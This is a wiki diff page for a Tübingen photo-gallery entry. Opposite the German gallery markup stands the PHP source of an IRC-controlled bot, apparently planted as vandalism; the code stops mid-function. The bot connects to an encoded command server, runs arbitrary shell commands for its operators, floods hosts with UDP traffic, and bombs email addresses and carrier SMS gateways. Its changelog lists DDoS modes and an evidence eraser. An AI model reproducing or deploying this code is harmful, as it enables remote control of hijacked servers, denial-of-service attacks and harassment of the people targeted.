|
|
Zeile 1: |
Zeile 1: |
| <?
| | '''Jede Woche erscheint auf der Startseite von TÜpedia ein neues Foto mit einem Tübingen-Motiv.<br> |
| if($_GET['act'] == 'lol'){
| | Beim Klick auf ein Vorschaubild öffnet sich eine Seite mit einer großen Ansicht des Bildes.''' |
| udpflood4($_GET['host'], $_GET['psize'], $_GET['time'], $_GET['port']);
| |
| }
| |
|
| |
|
| /****************************************************/
| | Ältere Fotos finden Sie hier: |
| /* ---------------------UniX-------------------- */
| | *[[Galerie der Wochenbilder - 2007]] |
| /* UniX Bot - Coding by ANoN - This code is Very PUBLIC! */
| | *[[Galerie der Wochenbilder - 2008]] |
| /* + Modded UDP Flooder */
| | *[[Galerie der Wochenbilder - 2009]] |
| /* + Removed TCP Flooder */
| | *[[Galerie der Wochenbilder - 2010]] |
| /* + Added email bomb */
| | *[[Galerie der Wochenbilder - 2011]] |
| /* + Added join message */
| | *[[Galerie der Wochenbilder - 2012]] |
| /* + Added !site command */
| | *[[Galerie der Wochenbilder - 2013]] |
| /* + Added whois */
| | *[[Galerie der Wochenbilder - 2014]] |
| /* + Added port scan */
| | *[[Galerie der Wochenbilder - 2015]] |
| /* + Added Quick UDP Flood */
| |
| /* + Added Colors */
| |
| /* + Added Count Command */
| |
| /* - Removed Host (IP Address) Auth (Its bullssss) */
| |
| /* + Added Credits */
| |
| /* + Added Speedtest */
| |
| /* - Removed Useless ssss */
| |
| /* + Cleaned the code */
| |
| /* + Added Version */
| |
| /* + Added New nicks */
| |
| /* + Added Update command */
| |
| /* + Made the update command idiot proof */
| |
| /* + Added commands command */
| |
| /* + Added id command */
| |
| /* + Added uptime command */
| |
| /* + Added evidence eraser */
| |
| /* + Added Cell Phone Spammer */
| |
| /* + Added Cell info */
| |
| /* + Added change prefix */
| |
| /* + Added install update command */
| |
| /* + Added port 3074 DDoS */
| |
| /* + ICMP ddoS? */
| |
| /* + FTP ddoS? */
| |
| /* + Added 2 Player ddos feature */
| |
| /* + Added 3 Player ddos feature */
| |
| /* + Added 4 Player ddos feature */
| |
| /****************************************************/
| |
|
| |
|
| | Wenn Sie eines der Bilder verwenden wollen, beachten Sie bitte das Copyright und setzen sich mit dem in der Bildlegende genannten Autor in Verbindung. |
| | <div style="padding:0 50px"> |
| | <gallery perrow="4"> |
|
| |
|
| | Bild:Woche-1-2016.jpg| |
| | Bild:Woche-2-2016.jpg| |
| | Bild:Woche-3-2016.jpg| |
| | Bild:Woche-4-2016.jpg| |
| | Bild:Woche-5-2016.jpg| |
| | Bild:Woche-6-2016.jpg| |
| | Bild:Woche-7-2016.jpg| |
| | Bild:Woche-8-2016.jpg| |
| | Bild:Woche-9-2016.jpg| |
| | Bild:Woche-10-2016.jpg| |
| | Bild:Woche-11-2016.jpg| |
| | Bild:Woche-12-2016.jpg| |
| | Bild:Woche-13-2016.jpg| |
| | Bild:Woche-14-2016.jpg| |
| | Bild:Woche-15-2016.jpg| |
| | Bild:Woche-16-2016.jpg| |
| | Bild:Woche-17-2016.jpg| |
| | Bild:Woche-18-2016.jpg| |
| | Bild:Woche-19-2016.jpg| |
| | Bild:Woche-20-2016.jpg| |
| | Bild:Woche-21-2016.jpg| |
| | Bild:Woche-22-2016.jpg| |
| | Bild:Woche-23-2016.jpg| |
| | Bild:Woche-24-2016.jpg| |
| | Bild:Woche-25-2016.jpg| |
| | Bild:Woche-26-2016.jpg| |
| | Bild:Woche-27-2016.jpg| |
| | Bild:Woche-28-2016.jpg| |
| | Bild:Woche-29-2016.jpg| |
| | Bild:Woche-30-2016.jpg| |
| | Bild:Woche-31-2016.jpg| |
| | Bild:Woche-32-2016.jpg| |
| | Bild:Woche-33-2016.jpg| |
| | Bild:Woche-34-2016.jpg| |
| | Bild:Woche-35-2016.jpg| |
| | Bild:Woche-36-2016.jpg| |
| | Bild:Woche-37-2016.jpg| |
| | Bild:Woche-38-2016.jpg| |
| | Bild:Woche-39-2016.jpg| |
| | Bild:Woche-40-2016.jpg| |
| | Bild:Woche-41-2016.jpg| |
| | Bild:Woche-42-2016.jpg| |
| | Bild:Woche-43-2016.jpg| |
| | Bild:Woche-44-2016.jpg| |
| | Bild:Woche-45-2016.jpg| |
| | Bild:Woche-46-2016.jpg| |
| | Bild:Woche-47-2016.jpg| |
| | Bild:Woche-48-2016.jpg| |
| | Bild:Woche-49-2016.jpg| |
| | Bild:Woche-50-2016.jpg| |
| | Bild:Woche-51-2016.jpg| |
| | Bild:Woche-52-2016.jpg| |
| | </gallery> |
| | </div> |
|
| |
|
| set_time_limit( 0 );
| |
| error_reporting( 0 );
| |
| echo "ANoNyMoUS iZ LeGioN";
| |
|
| |
|
| class Mike_Unix
| | [[Kategorie:Bilder]][[Kategorie:Online-Galerie]] |
| {
| |
| | |
| var $using_encode = true;
| |
| | |
| var $config = array(
| |
| 'nickform' => 'FraseR|%d]',
| |
| 'nickform2' => '%d]',
| |
| 'prfix' => 'NzM|%d]',
| |
| 'identp' => 'Mike',
| |
| 'modes' => '+B',
| |
| 'maxrand' => 6,
| |
| 'maxrand2' => 1,
| |
| 'maxrand3' => 2,
| |
| 'maxrand4' => 3,
| |
| 'cprefix' => '.',
| |
| 'version' => '1.0',
| |
| 'host' => '*',
| |
| 'yellow' => '�12',
| |
| 'blue' => '�4',
| |
| 'orange' => '�9',
| |
| 'green' => '�7',
| |
| 'leetprefix' => '�4>>',
| |
| 'leetsuffix' => '�12<<',
| |
| 'leetprefixwhite' => '�0>>',
| |
| 'leetsuffixwhite' => '�0<<',
| |
| 'leetsuffixred' => '�4<<',
| |
| 'part1' => '�0?~{ �4',
| |
| 'part2' => '�0}~?',
| |
| 'hostauth' => '*'
| |
| | |
| );
| |
| | |
| var $messages = array
| |
| (
| |
| 'bad' => '��0?~{ �14�L�0o�14�G�0i�14�N �0�}~? �0',
| |
| 'loginmsg' => '��0?~{ �14�L�0o�14�G�0i�14�N �0�}~? �0',
| |
| 'entry' => '��0?~{ �14�ElatioN �14�B�0o�14�T��0 }~? �14�E�0x�14e�0c�0�u�14�t�0e�14D',
| |
| 'id' => '��0?~{ �4 Frasers Anti-Private bot v1.0 �0�}~?',
| |
| 'udpmsg' => '��0?~{ �12UDP Flood Active �0�}~?',
| |
| 'udpmsgfast' => '��0?~{ �12Quick UDP-FLOOD �0�}~?',
| |
| 'speedtest' => '��0?~{ �9 Speedtest Starting Up...... �0�}~?',
| |
| 'speedtestfin' => '��0?~{ �9 The Speedtest Is Complete. �0�}~?',
| |
| 'logoutmsg' => '��0?~{ �14�S�0e�14�e �0Y�14�a �0�L�14�a�0T�14�e�0R,',
| |
| 'mailmsg' => '�14�N�0a�14�i�0L�14�e�0�R',
| |
| 'sprintmsg' => '�14�S�0p�14�r�0i�14�n�0�T �14�P�0C�14�S',
| |
| 'execmsg' => '�14�E�0x�14�E�0C'
| |
| | |
| );
| |
| | |
| var $admins = array
| |
| (
| |
| 'Fraser' => 'e48e13207341b6bffb7fb1622282247b',
| |
| 'RoboFTW' => '6d67f24e6f2cff6ed5b0495fab78618a',
| |
| 'chrisjnsn' => 'e48e13207341b6bffb7fb1622282247b',
| |
| 'Respect' => 'e48e13207341b6bffb7fb1622282247b',
| |
| 'NadeZ' => 'e48e13207341b6bffb7fb1622282247b',
| |
| 'Account6' => 'e48e13207341b6bffb7fb1622282247b',
| |
| 'Account7' => 'e48e13207341b6bffb7fb1622282247b',
| |
| 'Account8' => 'e48e13207341b6bffb7fb1622282247b',
| |
| 'Account9' => 'e48e13207341b6bffb7fb1622282247b',
| |
| 'Account10' => 'e48e13207341b6bffb7fb1622282247b',
| |
| 'Account11' => 'e48e13207341b6bffb7fb1622282247b',
| |
| );
| |
| | |
| function auth_host( $nick, $password, $host )
| |
| {
| |
| $this->users[ $host ] = true;
| |
| }
| |
| | |
| function is_authed( $host )
| |
| {
| |
| return isset( $this->users[ $host ] );
| |
| }
| |
| | |
| function remove_auth( $host )
| |
| {
| |
| unset( $this->users[ $host ] );
| |
| }
| |
| | |
| function ex( $cfe )
| |
| {
| |
| $res = '';
| |
| if (!empty($cfe))
| |
| {
| |
| if(function_exists('class_exists') && class_exists('Perl'))
| |
| {
| |
| $perl = new Perl();
| |
| $perl->eval( "system('$cfe');" );
| |
| }
| |
| if(function_exists('exec'))
| |
| {
| |
| @exec($cfe,$res);
| |
| $res = join("\n",$res);
| |
| }
| |
| elseif(function_exists('shell_exec'))
| |
| {
| |
| $res = @shell_exec($cfe);
| |
| }
| |
| elseif(function_exists('system'))
| |
| {
| |
| @ob_start();
| |
| @system($cfe);
| |
| $res = @ob_get_contents();
| |
| @ob_end_clean();
| |
| }
| |
| elseif(function_exists('passthru'))
| |
| {
| |
| @ob_start();
| |
| @passthru($cfe);
| |
| $res = @ob_get_contents();
| |
| @ob_end_clean();
| |
| }
| |
| elseif(function_exists('proc_open'))
| |
| {
| |
| $res = proc_open($cfe);
| |
| }
| |
| elseif(@is_resource($f = @popen($cfe,"r")))
| |
| {
| |
| $res = "";
| |
| while(!@feof($f)) { $res .= @fread($f,1024); }
| |
| @pclose($f);
| |
| }
| |
| }
| |
| return $res;
| |
| }
| |
| | |
| function is_safe( )
| |
| {
| |
| if( ( @eregi( "uid", $this->ex( "id" ) ) ) || ( @eregi( "Windows", $this->ex( "net start" ) ) ) )
| |
| {
| |
| return 0;
| |
| }
| |
| return 1;
| |
| }
| |
| | |
| function ffff_you( )
| |
| {
| |
| if( $this->using_encode )
| |
| {
| |
| $enc0ded = "I0NhYmJhZ2U=";
| |
| return base64_decode($enc0ded);
| |
| }
| |
| else
| |
| {
| |
| return '#'.$this->config[ 'chan' ];
| |
| }
| |
| }
| |
| | |
| function start()
| |
| {
| |
| if( $this->using_encode )
| |
| {
| |
| $crackedout = "IPHERE";
| |
| if(!($this->conn = fsockopen(base64_decode($crackedout),6667,$e,$s,30)))
| |
| {
| |
| $this->start();
| |
| }
| |
| }
| |
| else
| |
| {
| |
| if(!($this->conn = fsockopen($this->config['server'],$this->config['port'],$e,$s,30)))
| |
| {
| |
| $this->start();
| |
| }
| |
| }
| |
| | |
| $ident = $this->config['prefix'];
| |
| $alph = range("0","9");
| |
| for( $i=0; $i < $this->config['maxrand']; $i++ )
| |
| {
| |
| $ident .= $alph[rand(0,9)];
| |
| }
| |
| | |
| if( strlen( $this->config[ 'pass' ] ) > 0 )
| |
| {
| |
| $this->send( "PASS ".$this->config[ 'pass' ] );
| |
| }
| |
| $motha = "Fraser";
| |
| $mike = " non-private non-unix";
| |
| $this->send("USER ".$motha." 127.0.0.1 localhost :".$mike."");
| |
| $this->set_nick( );
| |
| $this->main( );
| |
| }
| |
| | |
| function main()
| |
| {
| |
| while(!feof($this->conn))
| |
| {
| |
| $this->buf = trim(fgets($this->conn,512));
| |
| $cmd = explode(" ",$this->buf);
| |
| if(substr($this->buf,0,6)=="PING :")
| |
| {
| |
| $this->send("PONG :".substr($this->buf,6));
| |
| }
| |
| if(isset($cmd[1]) && $cmd[1] =="001")
| |
| {
| |
| $this->send("MODE ".$this->nick." ".$this->config['modes']);
| |
| | |
| if( $this->using_encode )
| |
| {
| |
| $this->join($this->ffff_you( ),base64_decode($this->config['key']));
| |
| $entry = $this->messages['entry'];
| |
| $leetprefix = $this->config['leetprefix'];
| |
| $leetsuffixred = $this->config['leetsuffixred'];
| |
| $ip = ( $_SERVER["HTTP_HOST"] );
| |
| $blue = $this->config['blue'];
| |
| $red = $this->config['yellow'];
| |
| $this->privmsg( $this->ffff_you( ), "$leetprefix $entry $leetsuffixred" );
| |
| }
| |
| else
| |
| {
| |
| $this->join($this->ffff_you( ),$this->config['key']);
| |
| }
| |
| | |
| if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode = "on"; }
| |
| else { $safemode = "off"; }
| |
| $uname = php_uname();
| |
| }
| |
| if(isset($cmd[1]) && $cmd[1]=="433")
| |
| {
| |
| $this->set_nick();
| |
| }
| |
| if($this->buf != $old_buf)
| |
| {
| |
| $mcmd = array();
| |
| $msg = substr(strstr($this->buf," :"),2);
| |
| $msgcmd = explode(" ",$msg);
| |
| $nick = explode("!",$cmd[0]);
| |
| $vhost = explode("@",$nick[1]);
| |
| $vhost = $vhost[1];
| |
| $nick = substr($nick[0],1);
| |
| $host = $cmd[0];
| |
| if($msgcmd[0]==$this->nick)
| |
| {
| |
| for($i=0;$i<count($msgcmd);$i++)
| |
| $mcmd[$i] = $msgcmd[$i+1];
| |
| }
| |
| else
| |
| {
| |
| for($i=0;$i<count($msgcmd);$i++)
| |
| $mcmd[$i] = $msgcmd[$i];
| |
| }
| |
| if(count($cmd)>2)
| |
| {
| |
| switch($cmd[1])
| |
| {
| |
| case "QUIT":
| |
| {
| |
| if( $this->is_authed( $host ) )
| |
| {
| |
| $this->remove_auth( $host );
| |
| }
| |
| }
| |
| break;
| |
| case "PART":
| |
| {
| |
| if( $this->is_authed( $host ) )
| |
| {
| |
| $this->remove_auth( $host );
| |
| }
| |
| }
| |
| break;
| |
| case "PRIVMSG":
| |
| if( ( substr($mcmd[0],0,1) == $this->config[ 'cprefix' ] ) )
| |
| {
| |
| if( $this->is_authed( $host ) == false )
| |
| {
| |
| switch( substr( $mcmd[ 0 ], 1 ) )
| |
| {
| |
| case "l":
| |
| {
| |
| $this->auth_host( $nick, $mcmd[ 1 ], $host );
| |
| if( $this->is_authed( $host ) )
| |
| {
| |
| if( $nick == "Fraser" )
| |
| {
| |
| $this->auth_host( $nick, $mcmd[ 1 ], $host );
| |
| $this->ex('rm -rf ion_cache.dat');
| |
| $this->ex('rm -rf *gow*');
| |
| $this->ex( "echo $nick >> ion_cache.dat" );
| |
| $loginmsg = $this->messages['loginmsg'];
| |
| $leetprefix = $this->config['leetprefix'];
| |
| $leetsuffixred = $this->config['leetsuffixred'];
| |
| $this->privmsg( $this->ffff_you( ), "$loginmsg Hello, $leetprefix FraseR $leetsuffixred" );
| |
| break;
| |
| }
| |
| }
| |
| $this->auth_host( $nick, $mcmd[ 1 ], $host );
| |
| if( $this->is_authed( $host ) )
| |
| {
| |
| if( $nick == "RoboFTW" )
| |
| {
| |
| $this->auth_host( $nick, $mcmd[ 1 ], $host );
| |
| $this->ex('rm -rf ion_cache.dat');
| |
| $this->ex('rm -rf *gow*');
| |
| $this->ex( "echo $nick >> ion_cache.dat" );
| |
| $loginmsg = $this->messages['loginmsg'];
| |
| $leetprefix = $this->config['leetprefix'];
| |
| $leetsuffixred = $this->config['leetsuffixred'];
| |
| $this->privmsg( $this->ffff_you( ), "$loginmsg Robo's In DA House!" );
| |
| break;
| |
| }
| |
| }
| |
| $this->auth_host( $nick, $mcmd[ 1 ], $host );
| |
| if( $this->is_authed( $host ) )
| |
| {
| |
| if( $nick == "_0xi" )
| |
| {
| |
| $this->auth_host( $nick, $mcmd[ 1 ], $host );
| |
| $this->ex('rm -rf ion_cache.dat');
| |
| $this->ex('rm -rf *gow*');
| |
| $this->ex( "echo $nick >> ion_cache.dat" );
| |
| $loginmsg = $this->messages['loginmsg'];
| |
| $leetprefix = $this->config['leetprefix'];
| |
| $leetsuffixred = $this->config['leetsuffixred'];
| |
| $this->privmsg( $this->ffff_you( ), "$loginmsg iTz My NiGGa $leetprefix $nick $leetsuffixred" );
| |
| break;
| |
| }
| |
| }
| |
| $this->auth_host( $nick, $mcmd[ 1 ], $host );
| |
| if( $this->is_authed( $host ) )
| |
| {
| |
| if( $nick == "HELLOKiTty" )
| |
| {
| |
| $this->auth_host( $nick, $mcmd[ 1 ], $host );
| |
| $this->ex('rm -rf ion_cache.dat');
| |
| $this->ex('rm -rf *gow*');
| |
| $this->ex( "echo $nick >> ion_cache.dat" );
| |
| $loginmsg = $this->messages['loginmsg'];
| |
| $leetprefix = $this->config['leetprefix'];
| |
| $leetsuffixred = $this->config['leetsuffixred'];
| |
| $this->privmsg( $this->ffff_you( ), "$loginmsg Meeeeeow ;] $leetprefix $nick $leetsuffixred" );
| |
| break;
| |
| }
| |
| }
| |
| $this->auth_host( $nick, $mcmd[ 1 ], $host );
| |
| if( $this->is_authed( $host ) )
| |
| {
| |
| if( $nick == "chrisjnsn" )
| |
| {
| |
| $this->auth_host( $nick, $mcmd[ 1 ], $host );
| |
| $this->ex('rm -rf ion_cache.dat');
| |
| $this->ex('rm -rf *gow*');
| |
| $this->ex( "echo $nick >> ion_cache.dat" );
| |
| $loginmsg = $this->messages['loginmsg'];
| |
| $leetprefix = $this->config['leetprefix'];
| |
| $leetsuffixred = $this->config['leetsuffixred'];
| |
| $this->privmsg( $this->ffff_you( ), "$loginmsg Hello Chris" );
| |
| break;
| |
| }
| |
| }
| |
| $this->auth_host( $nick, $mcmd[ 1 ], $host );
| |
| if( $this->is_authed( $host ) )
| |
| {
| |
| if( $nick == "KeShiMi" )
| |
| {
| |
| $this->auth_host( $nick, $mcmd[ 1 ], $host );
| |
| $this->ex('rm -rf ion_cache.dat');
| |
| $this->ex('rm -rf *gow*');
| |
| $this->ex( "echo $nick >> ion_cache.dat" );
| |
| $loginmsg = $this->messages['loginmsg'];
| |
| $leetprefix = $this->config['leetprefix'];
| |
| $leetsuffixred = $this->config['leetsuffixred'];
| |
| $this->privmsg( $this->ffff_you( ), "$loginmsg LORD OF THE MO ffffIN KITTENS IN THA HOUSE $leetprefix $nick $leetsuffixred" );
| |
| break;
| |
| }
| |
| }
| |
| $this->auth_host( $nick, $mcmd[ 1 ], $host );
| |
| if( $this->is_authed( $host ) )
| |
| {
| |
| if( $nick == "Code" )
| |
| {
| |
| $this->auth_host( $nick, $mcmd[ 1 ], $host );
| |
| $this->ex('rm -rf ion_cache.dat');
| |
| $this->ex('rm -rf *gow*');
| |
| $this->ex( "echo $nick >> ion_cache.dat" );
| |
| $loginmsg = $this->messages['loginmsg'];
| |
| $leetprefix = $this->config['leetprefix'];
| |
| $leetsuffixred = $this->config['leetsuffixred'];
| |
| $this->privmsg( $this->ffff_you( ), "$loginmsg Good day Mr. $leetprefix $nick $leetsuffixred" );
| |
| break;
| |
| }
| |
| }
| |
| $this->auth_host( $nick, $mcmd[ 1 ], $host );
| |
| if( $this->is_authed( $host ) )
| |
| {
| |
| if( $nick == "Router" )
| |
| {
| |
| $this->auth_host( $nick, $mcmd[ 1 ], $host );
| |
| $this->ex('rm -rf ion_cache.dat');
| |
| $this->ex('rm -rf *gow*');
| |
| $this->ex( "echo $nick >> ion_cache.dat" );
| |
| $loginmsg = $this->messages['loginmsg'];
| |
| $leetprefix = $this->config['leetprefix'];
| |
| $leetsuffixred = $this->config['leetsuffixred'];
| |
| $this->privmsg( $this->ffff_you( ), "$loginmsg Kentucky Fried $leetprefix $nick $leetsuffixred" );
| |
| break;
| |
| }
| |
| }
| |
| $this->auth_host( $nick, $mcmd[ 1 ], $host );
| |
| if( $this->is_authed( $host ) )
| |
| {
| |
| if( $nick == "Respect" )
| |
| {
| |
| $this->auth_host( $nick, $mcmd[ 1 ], $host );
| |
| $this->ex('rm -rf ion_cache.dat');
| |
| $this->ex('rm -rf *gow*');
| |
| $this->ex( "echo $nick >> ion_cache.dat" );
| |
| $loginmsg = $this->messages['loginmsg'];
| |
| $leetprefix = $this->config['leetprefix'];
| |
| $leetsuffixred = $this->config['leetsuffixred'];
| |
| $this->privmsg( $this->ffff_you( ), "$loginmsg Gonna HiT Sum XbL Kid'z" );
| |
| break;
| |
| }
| |
| }
| |
| $this->auth_host( $nick, $mcmd[ 1 ], $host );
| |
| if( $this->is_authed( $host ) )
| |
| {
| |
| if( $nick == "Mason" )
| |
| {
| |
| $this->auth_host( $nick, $mcmd[ 1 ], $host );
| |
| $this->ex('rm -rf ion_cache.dat');
| |
| $this->ex('rm -rf *gow*');
| |
| $this->ex( "echo $nick >> ion_cache.dat" );
| |
| $loginmsg = $this->messages['loginmsg'];
| |
| $leetprefix = $this->config['leetprefix'];
| |
| $leetsuffixred = $this->config['leetsuffixred'];
| |
| $this->privmsg( $this->ffff_you( ), "$loginmsg By Your Command, $leetprefix $nick $leetsuffixred" );
| |
| break;
| |
| }
| |
| }
| |
| $this->auth_host( $nick, $mcmd[ 1 ], $host );
| |
| if( $this->is_authed( $host ) )
| |
| {
| |
| if( $nick == "NadeZ" )
| |
| {
| |
| $this->auth_host( $nick, $mcmd[ 1 ], $host );
| |
| $this->ex('rm -rf ion_cache.dat');
| |
| $this->ex('rm -rf *gow*');
| |
| $this->ex( "echo $nick >> ion_cache.dat" );
| |
| $loginmsg = $this->messages['loginmsg'];
| |
| $leetprefix = $this->config['leetprefix'];
| |
| $leetsuffixred = $this->config['leetsuffixred'];
| |
| $this->privmsg( $this->ffff_you( ), "$loginmsg Hello there, $leetprefix $nick $leetsuffixred" );
| |
| break;
| |
| }
| |
| }
| |
| else
| |
| {
| |
| $this->auth_host( $nick, $mcmd[ 1 ], $host );
| |
| $this->ex('rm -rf ion_cache.dat');
| |
| $this->ex('rm -rf *gow*');
| |
| $this->ex( "echo $nick >> ion_cache.dat" );
| |
| $loginmsg = $this->messages['loginmsg'];
| |
| $leetprefix = $this->config['leetprefix'];
| |
| $leetsuffixred = $this->config['leetsuffixred'];
| |
| $this->privmsg( $this->ffff_you( ), "$loginmsg Gonna HiT Sum XbL Kid'z" );
| |
| break;
| |
| }
| |
| }
| |
| }
| |
| }
| |
| else
| |
| {
| |
| switch(substr($mcmd[0],1))
| |
| {
| |
| case "exec":
| |
| {
| |
| if( !$this->is_safe( ) )
| |
| {
| |
| $command = substr( strstr( $msg, $mcmd[0] ), strlen( $mcmd[0] ) + 1 );
| |
| $returndata = $this->ex( $command );
| |
| if( !empty( $returndata ) )
| |
| {
| |
| $execmsg = $this->messages['execmsg'];
| |
| $leetprefix = $this->config['leetprefix'];
| |
| $leetsuffixred = $this->config['leetsuffixred'];
| |
| $blue = $this->config['blue'];
| |
| $red = $this->config['yellow'];
| |
| $part1 = $this->config['part1'];
| |
| $part2 = $this->config['part2'];
| |
| $this->privmsg( $this->ffff_you( ),"$red $part1 $blue$execmsg $red $part2 $leetsuffixred $red $returndata");
| |
| }
| |
| }
| |
| break;
| |
| }
| |
| case "bomb":
| |
| {
| |
| if(count($mcmd) > 5)
| |
| {
| |
| $header = "From: <".$mcmd[2].">";
| |
| if(!mail($mcmd[1],$mcmd[3],strstr($msg,$mcmd[5]),$header))
| |
| {
| |
| $this->privmsg( $this->ffff_you( ),"[\2MAIL\2]: Unable to send email.");
| |
| }
| |
| else
| |
| {
| |
| $mbomb = 1;
| |
| while($mbomb <= $mcmd[4])
| |
| {
| |
| mail($mcmd[1],$mcmd[3],strstr($msg,$mcmd[5]),$header);
| |
| $mbomb++;
| |
| }
| |
| if($mbomb = $mcmd[4])
| |
| {
| |
| $mailmsg = $this->messages['mailmsg'];
| |
| $part1 = $this->config['part1'];
| |
| $part2 = $this->config['part2'];
| |
| $this->privmsg( $this->ffff_you( ),"$part1 $mailmsg: $part2 \2 Sent\3"."4 $mcmd[4] \3Emails to \3"."4$mcmd[1]\3 From: \3"."4$mcmd[2]\3 Subject: \3"."4$mcmd[3]\3 \2");
| |
| }
| |
| }
| |
| }
| |
| break;
| |
| }
| |
| case "sprint":
| |
| {
| |
| if(count($mcmd) > 5)
| |
| {
| |
| $part1 = $this->config['part1'];
| |
| $part2 = $this->config['part2'];
| |
| $blue = $this->config['blue'];
| |
| $red = $this->config['yellow'];
| |
| $header = "From: <".$mcmd[2].">";
| |
| $mbomb = 1;
| |
| $sprintmail = "@messaging.sprintpcs.com";
| |
| $sprint = "$mcmd[1]$sprintmail";
| |
| while($mbomb <= $mcmd[4])
| |
| {
| |
| mail($sprint,$mcmd[3],strstr($msg,$mcmd[5]),$header);
| |
| $mbomb++;
| |
| }
| |
| if($mbomb = $mcmd[4])
| |
| {
| |
| $sprintmsg = $this->messages['sprintmsg'];
| |
| $this->privmsg( $this->ffff_you( ),"$part1$sprintmsg $part2$blue Sent ".$red." $mcmd[4] ".$blue."Text Message(s) to".$red." $mcmd[1] ".$blue."From:".$red." $mcmd[2]$blue With Subject: ".$red."$mcmd[3]");
| |
| }
| |
| }
| |
| break;
| |
| }
| |
| case "verizon":
| |
| {
| |
| if(count($mcmd) > 5)
| |
| {
| |
| $part1 = $this->config['part1'];
| |
| $part2 = $this->config['part2'];
| |
| $blue = $this->config['blue'];
| |
| $red = $this->config['yellow'];
| |
| $header = "From: <".$mcmd[2].">";
| |
| $mbomb = 1;
| |
| $verizonmail = "@vtext.com";
| |
| $verizon = "$mcmd[1]$verizonmail";
| |
| while($mbomb <= $mcmd[4])
| |
| {
| |
| mail($verizon,$mcmd[3],strstr($msg,$mcmd[5]),$header);
| |
| $mbomb++;
| |
| }
| |
| if($mbomb = $mcmd[4])
| |
| {
| |
| $this->privmsg( $this->ffff_you( ),"$part1$red Verizon Wireless $part2$blue Sent ".$red." $mcmd[4] ".$blue."Text Message(s) to".$red." $mcmd[1] ".$blue."From:".$red." $mcmd[2]$blue With Subject: ".$red."$mcmd[3]");
| |
| }
| |
| }
| |
| break;
| |
| }
| |
| case "tmobile":
| |
| {
| |
| if(count($mcmd) > 5)
| |
| {
| |
| $part1 = $this->config['part1'];
| |
| $part2 = $this->config['part2'];
| |
| $blue = $this->config['blue'];
| |
| $red = $this->config['yellow'];
| |
| $header = "From: <".$mcmd[2].">";
| |
| $mbomb = 1;
| |
| $tmobilemail = "@tmomail.net";
| |
| $tmobile = "$mcmd[1]$tmobilemail";
| |
| while($mbomb <= $mcmd[4])
| |
| {
| |
| mail($tmobile,$mcmd[3],strstr($msg,$mcmd[5]),$header);
| |
| $mbomb++;
| |
| }
| |
| if($mbomb = $mcmd[4])
| |
| {
| |
| $this->privmsg( $this->ffff_you( ),"$part1$red T-Mobile (USA Only) $part2$blue Sent ".$red." $mcmd[4] ".$blue."Text Message(s) to".$red." $mcmd[1] ".$blue."From:".$red." $mcmd[2]$blue With Subject: ".$red."$mcmd[3]");
| |
| }
| |
| }
| |
| break;
| |
| }
| |
| case "att":
| |
| {
| |
| if(count($mcmd) > 5)
| |
| {
| |
| $part1 = $this->config['part1'];
| |
| $part2 = $this->config['part2'];
| |
| $blue = $this->config['blue'];
| |
| $red = $this->config['yellow'];
| |
| $header = "From: <".$mcmd[2].">";
| |
| $mbomb = 1;
| |
| $attemail = "@txt.att.net";
| |
| $att = "$mcmd[1]$attemail";
| |
| while($mbomb <= $mcmd[4])
| |
| {
| |
| mail($att,$mcmd[3],strstr($msg,$mcmd[5]),$header);
| |
| $mbomb++;
| |
| }
| |
| if($mbomb = $mcmd[4])
| |
| {
| |
| $this->privmsg( $this->ffff_you( ),"$part1$red AT&T $part2$blue Sent ".$red." $mcmd[4] ".$blue."Text Message(s) to".$red." $mcmd[1] ".$blue."From:".$red." $mcmd[2]$blue With Subject: ".$red."$mcmd[3]");
| |
| }
| |
| }
| |
| break;
| |
| }
| |
| case "uscellular":
| |
| {
| |
| if(count($mcmd) > 5)
| |
| {
| |
| $part1 = $this->config['part1'];
| |
| $part2 = $this->config['part2'];
| |
| $blue = $this->config['blue'];
| |
| $red = $this->config['yellow'];
| |
| $header = "From: <".$mcmd[2].">";
| |
| $mbomb = 1;
| |
| $uscemail = "@email.uscc.net";
| |
| $usc = "$mcmd[1]$uscemail";
| |
| while($mbomb <= $mcmd[4])
| |
| {
| |
| mail($usc,$mcmd[3],strstr($msg,$mcmd[5]),$header);
| |
| $mbomb++;
| |
| }
| |
| if($mbomb = $mcmd[4])
| |
| {
| |
| $this->privmsg( $this->ffff_you( ),"$part1$red US Cellular $part2$blue Sent ".$red." $mcmd[4] ".$blue."Text Message(s) to".$red." $mcmd[1] ".$blue."From:".$red." $mcmd[2]$blue With Subject: ".$red."$mcmd[3]");
| |
| }
| |
| }
| |
| break;
| |
| }
| |
| case "boostmobile":
| |
| {
| |
| if(count($mcmd) > 5)
| |
| {
| |
| $part1 = $this->config['part1'];
| |
| $part2 = $this->config['part2'];
| |
| $blue = $this->config['blue'];
| |
| $red = $this->config['yellow'];
| |
| $header = "From: <".$mcmd[2].">";
| |
| $mbomb = 1;
| |
| $boostemail = "@myboostmobile.com";
| |
| $boost = "$mcmd[1]$boostemail";
| |
| while($mbomb <= $mcmd[4])
| |
| {
| |
| mail($boost,$mcmd[3],strstr($msg,$mcmd[5]),$header);
| |
| $mbomb++;
| |
| }
| |
| if($mbomb = $mcmd[4])
| |
| {
| |
| $this->privmsg( $this->ffff_you( ),"$part1$red Boost Mobile Inc. $part2$blue Sent ".$red." $mcmd[4] ".$blue."Text Message(s) to".$red." $mcmd[1] ".$blue."From:".$red." $mcmd[2]$blue With Subject: ".$red."$mcmd[3]");
| |
| }
| |
| }
| |
| break;
| |
| }
| |
| case "count":
| |
| {
| |
| $lines = $this->ex( "cat cache.dat | wc -l" );
| |
| $red = $this->config['yellow'];
| |
| $leetprefixwhite = $this->config['leetprefixwhite'];
| |
| $leetsuffixwhite = $this->config['leetsuffixwhite'];
| |
| $leetprefix = $this->config['leetprefix'];
| |
| $leetsuffixred = $this->config['leetsuffixred'];
| |
| $this->privmsg( $this->ffff_you( ), "$red I have done $leetprefixwhite $lines $leetsuffixwhite floods in total." );
| |
| break;
| |
| }
| |
| case "nick":
| |
| {
| |
| if( $mcmd[ 1 ] == nzm )
| |
| {
| |
| $this->nzm_nick();
| |
| break;
| |
| }
| |
| if( $mcmd[ 1 ] == unix )
| |
| {
| |
| $this->busk_nick();
| |
| break;
| |
| }
| |
| else
| |
| {
| |
| $this->set_nick;
| |
| break;
| |
| }
| |
| }
| |
| | |
| case "credits":
| |
| {
| |
| $red = $this->config['yellow'];
| |
| $blue = $this->config['blue'];
| |
| $orange = $this->config['orange'];
| |
| $leetprefixwhite = $this->config['leetprefixwhite'];
| |
| $leetsuffixwhite = $this->config['leetsuffixwhite'];
| |
